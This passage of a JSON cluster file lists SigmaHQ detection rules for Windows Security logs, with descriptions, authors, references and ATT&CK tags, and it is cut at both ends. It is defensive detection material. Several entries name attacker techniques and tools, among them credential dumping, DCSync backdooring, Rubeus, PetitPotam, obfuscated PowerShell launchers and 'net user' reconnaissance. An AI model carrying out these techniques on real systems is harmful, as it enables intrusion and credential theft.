Extraction" }, { "description": "Detects scheduled task deletion events. Scheduled tasks are likely to be deleted if not used for persistence. Malicious Software often creates tasks directly under the root node e.g. \\TASKNAME", "meta": { "author": "David Strassegger, Tim Shelton", "creation_date": "2021/01/22", "falsepositive": [ "Software installation" ], "filename": "win_security_scheduled_task_deletion.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://twitter.com/matthewdunwoody/status/1352356685982146562", "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4699", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_scheduled_task_deletion.yml" ], "tags": [ "attack.execution", "attack.privilege_escalation", "car.2013-08-001", "attack.t1053.005" ] }, "related": [ { "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "4f86b304-3e02-40e3-aa5d-e88a167c9617", "value": "Scheduled Task Deletion" }, { "description": "Detects a threat actor creating a file named `wbemcomn.dll` in the `C:\\Windows\\System32\\wbem\\` directory over the network for a WMI DLL Hijack scenario.", "meta": { "author": "Roberto Rodriguez @Cyb3rWard0g, Open Threat Research (OTR)", "creation_date": "2020/10/12", "falsepositive": [ "Unknown" ], "filename": "win_security_wmiprvse_wbemcomn_dll_hijack.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://threathunterplaybook.com/notebooks/windows/08_lateral_movement/WIN-201009173318.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_wmiprvse_wbemcomn_dll_hijack.yml" ], "tags": [ "attack.execution", "attack.t1047", "attack.lateral_movement", "attack.t1021.002" ] }, "related": [ { "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f6c68d5f-e101-4b86-8c84-7d96851fd65c", "value": "T1047 Wmiprvse Wbemcomn DLL Hijack" }, { "description": "Detect scenarios where a potentially unauthorized application or user is modifying the system time.", "meta": { "author": "@neu5ron", "creation_date": "2019/02/05", "falsepositive": [ "HyperV or other virtualization technologies with binary not listed in filter portion of detection" ], "filename": "win_security_susp_time_modification.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4616", "Private Cuckoo Sandbox (from many years ago, no longer have hash, NDA as well)", "Live environment caused by malware", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_time_modification.yml" ], "tags": [ "attack.defense_evasion", "attack.t1070.006" ] }, "related": [ { "dest-uuid": "47f2d673-ca62-47e9-929b-1b0be9657611", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "faa031b5-21ed-4e02-8881-2591f98d82ed", "value": "Unauthorized System Time Modification" }, { "description": "Detects NetNTLM downgrade attack", "meta": { "author": "Florian Roth, wagga", "creation_date": "2018/03/20", "falsepositive": [ "Unknown" ], "filename": "win_security_net_ntlm_downgrade.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://www.optiv.com/blog/post-exploitation-using-netntlm-downgrade-attacks", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_net_ntlm_downgrade.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001", "attack.t1112" ] }, "uuid": "d3abac66-f11c-4ed0-8acb-50cc29c97eed", "value": "NetNTLM Downgrade Attack" }, { "description": "A login from a public IP can indicate a misconfigured firewall or network boundary.", "meta": { "author": "NVISO", "creation_date": "2020/05/06", "falsepositive": [ "Legitimate logon attempts over the internet", "IPv4-to-IPv6 mapped IPs" ], "filename": "win_security_susp_failed_logon_source.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logon_source.yml" ], "tags": [ "attack.initial_access", "attack.persistence", "attack.t1078", "attack.t1190", "attack.t1133" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f88e112a-21aa-44bd-9b01-6ee2a2bbbed1", "value": "Failed Logon From Public IP" }, { "description": "Detects the registration of the security event source VSSAudit. It would usually trigger when volume shadow copy operations happen.", "meta": { "author": "Roberto Rodriguez @Cyb3rWard0g, Open Threat Research (OTR)", "creation_date": "2020/10/20", "falsepositive": [ "Legitimate use of VSSVC. Maybe backup operations. It would usually be done by C:\\Windows\\System32\\VSSVC.exe." ], "filename": "win_security_vssaudit_secevent_source_registration.yml", "level": "informational", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md#atomic-test-3---esentutlexe-sam-copy", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_vssaudit_secevent_source_registration.yml" ], "tags": [ "attack.credential_access", "attack.t1003.002" ] }, "related": [ { "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "e9faba72-4974-4ab2-a4c5-46e25ad59e9b", "value": "VSSAudit Security Event Source Registration" }, { "description": "RDP login with localhost source address may be a tunnelled login", "meta": { "author": "Thomas Patzke", "creation_date": "2019/01/28", "falsepositive": [ "Unknown" ], "filename": "win_security_rdp_localhost_login.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_rdp_localhost_login.yml" ], "tags": [ "attack.lateral_movement", "car.2013-07-002", "attack.t1021.001" ] }, "uuid": "51e33403-2a37-4d66-a574-1fda1782cc31", "value": "RDP Login from Localhost" }, { "description": "The Directory Service Restore Mode (DSRM) account is a local administrator account on Domain Controllers. Attackers may change the password to gain persistence.", "meta": { "author": "Thomas Patzke", "creation_date": "2017/02/19", "falsepositive": [ "Initial installation of a domain controller" ], "filename": "win_security_susp_dsrm_password_change.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://adsecurity.org/?p=1714", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_dsrm_password_change.yml" ], "tags": [ "attack.persistence", "attack.t1098" ] }, "related": [ { "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "53ad8e36-f573-46bf-97e4-15ba5bf4bb51", "value": "Password Change on Directory Service Restore Mode (DSRM) Account" }, { "description": "Detects a possible remote NTLM hash change through SAMR API SamiChangePasswordUser() or SamSetInformationUser().\n\"Audit User Account Management\" in \"Advanced Audit Policy Configuration\" has to be enabled in your local security policy / GPO to see this events.\n", "meta": { "author": "Dimitrios Slamaris", "creation_date": "2017/06/09", "falsepositive": "No established falsepositives", "filename": "win_security_susp_samr_pwset.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_samr_pwset.yml" ], "tags": [ "attack.credential_access", "attack.t1212" ] }, "related": [ { "dest-uuid": "9c306d8d-cde7-4b4c-b6e8-d0bb16caca36", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7818b381-5eb1-4641-bea5-ef9e4cfb5951", "value": "Possible Remote Password Change Through SAMR" }, { "description": "Detection of logins performed with WMI", "meta": { "author": "Thomas Patzke", "creation_date": "2019/12/04", "falsepositive": [ "Monitoring tools", "Legitimate system administration" ], "filename": "win_security_susp_wmi_login.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_wmi_login.yml" ], "tags": [ "attack.execution", "attack.t1047" ] }, "related": [ { "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "5af54681-df95-4c26-854f-2565e13cfab0", "value": "Login with WMI" }, { "description": "Detects Chafer activity attributed to OilRig as reported in Nyotron report in March 2018", "meta": { "author": "Florian Roth, Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, oscd.community", "creation_date": "2018/03/23", "falsepositive": [ "Unknown" ], "filename": "win_security_apt_chafer_mar18_security.yml", "level": "critical", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://nyotron.com/nyotron-discovers-next-generation-oilrig-attacks/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_apt_chafer_mar18_security.yml" ], "tags": [ "attack.persistence", "attack.g0049", "attack.t1053.005", "attack.s0111", "attack.t1543.003", "attack.defense_evasion", "attack.t1112", "attack.command_and_control", "attack.t1071.004" ] }, "related": [ { "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c0580559-a6bd-4ef6-b9b7-83703d98b561", "value": "Chafer Activity - Security" }, { "description": "Detects Obfuscated use of stdin to execute PowerShell", "meta": { "author": "Jonathan Cheong, oscd.community", "creation_date": "2020/10/15", "falsepositive": [ "Unknown" ], "filename": "win_security_invoke_obfuscation_stdin_services_security.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/issues/1009", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_stdin_services_security.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "0c718a5e-4284-4fb9-b4d9-b9a50b3a1974", "value": "Invoke-Obfuscation STDIN+ Launcher - Security" }, { "description": "Detects multiple file rename or delete events occurrence within a specified period of time by a same user (these events may signalize about ransomware activity).", "meta": { "author": "Vasiliy Burov, oscd.community", "creation_date": "2020/10/16", "falsepositive": [ "Software uninstallation", "Files restore activities" ], "filename": "win_security_susp_multiple_files_renamed_or_deleted.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://www.manageengine.com/data-security/how-to/how-to-detect-ransomware-attacks.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_multiple_files_renamed_or_deleted.yml" ], "tags": [ "attack.impact", "attack.t1486" ] }, "related": [ { "dest-uuid": "b80d107d-fa0d-4b60-9684-b0433e8bdba0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "97919310-06a7-482c-9639-92b67ed63cf8", "value": "Suspicious Multiple File Rename Or Delete Occurred" }, { "description": "This rule tries to detect token impersonation and theft. (Example: DuplicateToken(Ex) and ImpersonateLoggedOnUser with the LOGON32_LOGON_NEW_CREDENTIALS flag.)", "meta": { "author": "Michaela Adams, Zach Mathis", "creation_date": "2022/11/06", "falsepositive": [ "Anti-Virus" ], "filename": "win_security_access_token_abuse.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://www.elastic.co/fr/blog/how-attackers-abuse-access-token-manipulation", "https://www.manageengine.com/log-management/cyber-security/access-token-manipulation.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_access_token_abuse.yml" ], "tags": [ "attack.defense_evasion", "attack.privilege_escalation", "attack.t1134.001" ] }, "related": [ { "dest-uuid": "86850eff-2729-40c3-b85e-c4af26da4a2d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "02f7c9c1-1ae8-4c6a-8add-04693807f92f", "value": "Access Token Abuse" }, { "description": "Detects code integrity failures such as missing page hashes or corrupted drivers due unauthorized modification. This could be a sign of tampered binaries.", "meta": { "author": "Thomas Patzke", "creation_date": "2019/12/03", "falsepositive": [ "Disk device errors" ], "filename": "win_security_susp_codeintegrity_check_failure.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_codeintegrity_check_failure.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027.001" ] }, "uuid": "470ec5fa-7b4e-4071-b200-4c753100f49b", "value": "Failed Code Integrity Checks" }, { "description": "Backdooring domain object to grant the rights associated with DCSync to a regular user or machine account using Powerview\\Add-DomainObjectAcl DCSync Extended Right cmdlet, will allow to re-obtain the pwd hashes of any user/computer", "meta": { "author": "Samir Bousseaden; Roberto Rodriguez @Cyb3rWard0g; oscd.community; Tim Shelton; Maxence Fossat", "creation_date": "2019/04/03", "falsepositive": [ "New Domain Controller computer account, check user SIDs within the value attribute of event 5136 and verify if it's a regular user or DC computer account." ], "filename": "win_security_account_backdoor_dcsync_rights.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://www.specterops.io/assets/resources/an_ace_up_the_sleeve.pdf", "https://twitter.com/menasec1/status/1111556090137903104", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_account_backdoor_dcsync_rights.yml" ], "tags": [ "attack.persistence", "attack.t1098" ] }, "related": [ { "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "2c99737c-585d-4431-b61a-c911d86ff32f", "value": "Powerview Add-DomainObjectAcl DCSync AD Extend Right" }, { "description": "Detects suspicious outbound network activity via kerberos default port indicating possible lateral movement or first stage PrivEsc via delegation.", "meta": { "author": "Ilyas Ochkov, oscd.community", "creation_date": "2019/10/24", "falsepositive": [ "Other browsers" ], "filename": "win_security_susp_outbound_kerberos_connection.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/GhostPack/Rubeus", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_outbound_kerberos_connection.yml" ], "tags": [ "attack.lateral_movement", "attack.t1558.003" ] }, "uuid": "eca91c7c-9214-47b9-b4c5-cb1d7e4f2350", "value": "Suspicious Outbound Kerberos Connection - Security" }, { "description": "Detects suspicious processes logging on with explicit credentials", "meta": { "author": "oscd.community, Teymur Kheirkhabarov @HeirhabarovT, Zach Stanford @svch0st, Tim Shelton", "creation_date": "2020/10/05", "falsepositive": [ "Administrators that use the RunAS command or scheduled tasks" ], "filename": "win_security_susp_logon_explicit_credentials.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_logon_explicit_credentials.yml" ], "tags": [ "attack.t1078", "attack.lateral_movement" ] }, "uuid": "941e5c45-cda7-4864-8cea-bbb7458d194a", "value": "Suspicious Remote Logon with Explicit Credentials" }, { "description": "Detects Obfuscated use of Clip.exe to execute PowerShell", "meta": { "author": "Jonathan Cheong, oscd.community", "creation_date": "2020/10/13", "falsepositive": [ "Unknown" ], "filename": "win_security_invoke_obfuscation_clip_services_security.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/issues/1009", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_clip_services_security.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "4edf51e1-cb83-4e1a-bc39-800e396068e3", "value": "Invoke-Obfuscation CLIP+ Launcher - Security" }, { "description": "Detects a source system failing to authenticate against a remote host with multiple users.", "meta": { "author": "Mauricio Velazco", "creation_date": "2021/06/01", "falsepositive": [ "Terminal servers", "Jump servers", "Other multiuser systems like Citrix server farms", "Workstations with frequently changing users" ], "filename": "win_security_susp_failed_remote_logons_single_source.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_remote_logons_single_source.yml" ], "tags": [ "attack.t1110.003", "attack.initial_access", "attack.privilege_escalation" ] }, "uuid": "add2ef8d-dc91-4002-9e7e-f2702369f53a", "value": "Multiple Users Remotely Failing To Authenticate From Single Source" }, { "description": "Detects activity as \"net user administrator /domain\" and \"net group domain admins /domain\"", "meta": { "author": "Florian Roth (rule), Jack Croock (method), Jonhnathan Ribeiro (improvements), oscd.community", "creation_date": "2017/03/07", "falsepositive": [ "Administrator activity" ], "filename": "win_security_susp_net_recon_activity.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://findingbad.blogspot.de/2017/01/hunting-what-does-it-look-like.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_net_recon_activity.yml" ], "tags": [ "attack.discovery", "attack.t1087.002", "attack.t1069.002", "attack.s0039" ] }, "related": [ { "dest-uuid": "2aed01ad-3df3-4410-a8cb-11ea4ded587c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "968eef52-9cff-4454-8992-1e74b9cbad6c", "value": "Reconnaissance Activity" }, { "description": "Detects Obfuscated Powershell via use Clip.exe in Scripts", "meta": { "author": "Nikita Nazarov, oscd.community", "creation_date": "2020/10/09", "falsepositive": [ "Unknown" ], "filename": "win_security_invoke_obfuscation_via_use_clip_services_security.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/issues/1009", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_use_clip_services_security.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "1a0a2ff1-611b-4dac-8216-8a7b47c618a6", "value": "Invoke-Obfuscation Via Use Clip - Security" }, { "description": "Detects remote task creation via at.exe or API interacting with ATSVC namedpipe", "meta": { "author": "Samir Bousseaden", "creation_date": "2019/04/03", "falsepositive": [ "Unknown" ], "filename": "win_security_atsvc_task.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://blog.menasec.net/2019/03/threat-hunting-25-scheduled-tasks-for.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_atsvc_task.yml" ], "tags": [ "attack.lateral_movement", "attack.persistence", "car.2013-05-004", "car.2015-04-001", "attack.t1053.002" ] }, "related": [ { "dest-uuid": "f3d95a1f-bba2-44ce-9af7-37866cd63fd0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f6de6525-4509-495a-8a82-1f8b0ed73a00", "value": "Remote Task Creation via ATSVC Named Pipe" }, { "description": "Detects possible Kerberos Replay Attack on the domain controllers when \"KRB_AP_ERR_REPEAT\" Kerberos response is sent to the client", "meta": { "author": "frack113", "creation_date": "2022/10/14", "falsepositive": [ "Unknown" ], "filename": "win_security_replay_attack_detected.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md", "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4649", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_replay_attack_detected.yml" ], "tags": "No established tags" }, "uuid": "5a44727c-3b85-4713-8c44-4401d5499629", "value": "Replay Attack Detected" }, { "description": "Potential threat actor tampering with Sysmon manifest and eventually disabling it", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", "creation_date": "2020/07/14", "falsepositive": [ "Unknown" ], "filename": "win_security_sysmon_channel_reference_deletion.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://twitter.com/Flangvik/status/1283054508084473861", "https://securityjosh.github.io/2020/04/23/Mute-Sysmon.html", "https://gist.github.com/Cyb3rWard0g/cf08c38c61f7e46e8404b38201ca01c8", "https://twitter.com/SecurityJosh/status/1283027365770276866", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_sysmon_channel_reference_deletion.yml" ], "tags": [ "attack.defense_evasion", "attack.t1112" ] }, "uuid": "18beca67-ab3e-4ee3-ba7a-a46ca8d7d0cc", "value": "Sysmon Channel Reference Deletion" }, { "description": "Detects well-known credential dumping tools execution via service execution events", "meta": { "author": "Florian Roth, Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community", "creation_date": "2017/03/05", "falsepositive": [ "Legitimate Administrator using credential dumping tool for password recovery" ], "filename": "win_security_mal_creddumper.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_mal_creddumper.yml" ], "tags": [ "attack.credential_access", "attack.execution", "attack.t1003.001", "attack.t1003.002", "attack.t1003.004", "attack.t1003.005", "attack.t1003.006", "attack.t1569.002", "attack.s0005" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "1ecfdab8-7d59-4c98-95d4-dc41970f57fc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "6add2ab5-2711-4e9d-87c8-7a0be8531530", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "f303a39a-6255-4b89-aecc-18c4d8ca7163", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f0d1feba-4344-4ca9-8121-a6c97bd6df52", "value": "Credential Dumping Tools Service Execution - Security" }, { "description": "Detects anyone attempting a backup for the DPAPI Master Key. This events gets generated at the source and not the Domain Controller.", "meta": { "author": "Roberto Rodriguez @Cyb3rWard0g", "creation_date": "2019/08/10", "falsepositive": [ "Unknown" ], "filename": "win_security_dpapi_domain_masterkey_backup_attempt.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://threathunterplaybook.com/notebooks/windows/06_credential_access/WIN-190620024610.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_dpapi_domain_masterkey_backup_attempt.yml" ], "tags": [ "attack.credential_access", "attack.t1003.004" ] }, "related": [ { "dest-uuid": "1ecfdab8-7d59-4c98-95d4-dc41970f57fc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "39a94fd1-8c9a-4ff6-bf22-c058762f8014", "value": "DPAPI Domain Master Key Backup Attempt" }, { "description": "Detects non-system users failing to get a handle of the SCM database.", "meta": { "author": "Roberto Rodriguez @Cyb3rWard0g", "creation_date": "2019/08/12", "falsepositive": [ "Unknown" ], "filename": "win_security_scm_database_handle_failure.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://threathunterplaybook.com/notebooks/windows/07_discovery/WIN-190826010110.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_scm_database_handle_failure.yml" ], "tags": [ "attack.discovery", "attack.t1010" ] }, "related": [ { "dest-uuid": "4ae4f953-fe58-4cc8-a327-33257e30a830", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "13addce7-47b2-4ca0-a98f-1de964d1d669", "value": "SCM Database Handle Failure" }, { "description": "Detects Obfuscated Powershell via VAR++ LAUNCHER", "meta": { "author": "Timur Zinniatullin, oscd.community", "creation_date": "2020/10/13", "falsepositive": [ "Unknown" ], "filename": "win_security_invoke_obfuscation_via_var_services_security.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/issues/1009", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_var_services_security.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "4c54ba8f-73d2-4d40-8890-d9cf1dca3d30", "value": "Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - Security" }, { "description": "Detects possible bypass EDR and SIEM via abnormal user account name.", "meta": { "author": "Ilyas Ochkov, oscd.community", "creation_date": "2019/10/25", "falsepositive": [ "Unknown" ], "filename": "win_security_new_or_renamed_user_account_with_dollar_sign.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_new_or_renamed_user_account_with_dollar_sign.yml" ], "tags": [ "attack.defense_evasion", "attack.t1036" ] }, "uuid": "cfeed607-6aa4-4bbd-9627-b637deb723c8", "value": "New or Renamed User Account with '$' in Attribute 'SamAccountName'" }, { "description": "Detects unusual processes accessing desktop.ini remotely over network share, which can be leveraged to alter how Explorer displays a folder's content (i.e. renaming files) without changing them on disk.", "meta": { "author": "Tim Shelton (HAWK.IO)", "creation_date": "2021/12/06", "falsepositive": [ "Read only access list authority" ], "filename": "win_security_net_share_obj_susp_desktop_ini.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://isc.sans.edu/forums/diary/Desktopini+as+a+postexploitation+tool/25912/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_net_share_obj_susp_desktop_ini.yml" ], "tags": [ "attack.persistence", "attack.t1547.009" ] }, "uuid": "35bc7e28-ee6b-492f-ab04-da58fcf6402e", "value": "Windows Network Access Suspicious desktop.ini Action" }, { "description": "Well-known TAP software installation. Possible preparation for data exfiltration using tunnelling techniques", "meta": { "author": "Daniil Yugoslavskiy, Ian Davis, oscd.community", "creation_date": "2019/10/24", "falsepositive": [ "Legitimate OpenVPN TAP insntallation" ], "filename": "win_security_tap_driver_installation.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_tap_driver_installation.yml" ], "tags": [ "attack.exfiltration", "attack.t1048" ] }, "related": [ { "dest-uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "9c8afa4d-0022-48f0-9456-3712466f9701", "value": "Tap Driver Installation - Security" }, { "description": "Detect suspicious Kerberos TGT requests.\nOnce an attacer obtains a computer certificate by abusing Active Directory Certificate Services in combination with PetitPotam, the next step would be to leverage the certificate for malicious purposes.\nOne way of doing this is to request a Kerberos Ticket Granting Ticket using a tool like Rubeus.\nThis request will generate a 4768 event with some unusual fields depending on the environment.\nThis analytic will require tuning, we recommend filtering Account_Name to the Domain Controller computer accounts.\n", "meta": { "author": "Mauricio Velazco, Michael Haag", "creation_date": "2021/09/02", "falsepositive": [ "False positives are possible if the environment is using certificates for authentication. We recommend filtering Account_Name to the Domain Controller computer accounts." ], "filename": "win_security_petitpotam_susp_tgt_request.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://isc.sans.edu/forums/diary/Active+Directory+Certificate+Services+ADCS+PKI+domain+admin+vulnerability/27668/", "https://github.com/topotam/PetitPotam", "https://github.com/splunk/security_content/blob/develop/detections/endpoint/petitpotam_suspicious_kerberos_tgt_request.yml", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_petitpotam_susp_tgt_request.yml" ], "tags": [ "attack.credential_access", "attack.t1187" ] }, "related": [ { "dest-uuid": "b77cf5f3-6060-475d-bd60-40ccbf28fdc2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "6a53d871-682d-40b6-83e0-b7c1a6c4e3a5", "value": "PetitPotam Suspicious Kerberos TGT Request" }, { "description": "Detects the usage of the 'SeLoadDriverPrivilege' privilege. This privilege is required to load or unload a device 